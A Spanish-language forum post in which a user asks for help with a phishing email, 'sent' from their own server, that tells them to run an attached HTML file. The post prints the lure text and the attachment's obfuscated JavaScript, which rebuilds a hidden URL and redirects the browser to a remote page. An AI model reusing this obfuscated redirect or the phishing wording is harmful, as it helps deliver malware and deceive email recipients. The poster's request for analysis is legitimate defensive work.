10/06/2010, 05:38
|
| | Fecha de Ingreso: junio-2010
Mensajes: 1
Antigüedad: 14 años, 5 meses Puntos: 0 | |
codigo javascript sospechoso Hemos recibido un email desde nuestro propio servidor de correo con un mensaje en ingles:
--------------------------------
Dear Customer,
This e-mail was send by slibcn.com to notify you that we have temporanly
prevented access to your account.
We have reasons to beleive that your account may have been accessed by
someone else. Please run attached file and Follow instructions.
(C) slibcn.com
--------------------------------
La direccion admin no existe entre nuestros correos de dominio y el dominio sigue operativo.
El archivo adjunto es open.html y abierto con un notepad, solo contiene este código:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;v ar m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
¿ Alguien que sepa entender su lectura puede ayudarme advirtiendo de su posible peligro ?
Gracias |